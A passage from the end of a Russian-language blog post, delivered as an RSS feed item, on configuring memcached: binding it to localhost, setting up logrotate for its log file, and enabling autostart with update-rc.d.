<span style="color: #666666; font-style: italic;"># какой интерфейс слушать </span><br />
<span style="color: #660033;">-l</span> 127.0.0.1</div></td></tr></tbody></table></div>
<p>И ротация единственного файла логов <code class="codecolorer bash default"><span class="bash"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">vim</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>logrotate.d<span style="color: #000000; font-weight: bold;">/</span>memcached</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>memcached.log <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; daily<br />
&nbsp; &nbsp; missingok<br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">size</span> 2M<br />
&nbsp; &nbsp; rotate <span style="color: #000000;">2</span><br />
&nbsp; &nbsp; compress<br />
&nbsp; &nbsp; delaycompress<br />
&nbsp; &nbsp; notifempty<br />
&nbsp; &nbsp; create <span style="color: #000000;">640</span> root adm<br />
&nbsp; &nbsp; sharedscripts<br />
&nbsp; &nbsp; postrotate<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>memcached restart <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null<br />
&nbsp; &nbsp; endscript<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></td></tr></tbody></table></div>
<p>Команда скорее всего не понадобится, т. к. в автозагрузку пакет добавится при установке, но на всякий случай:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">sudo</span> update-rc.d memcached defaults</div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-memcached/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

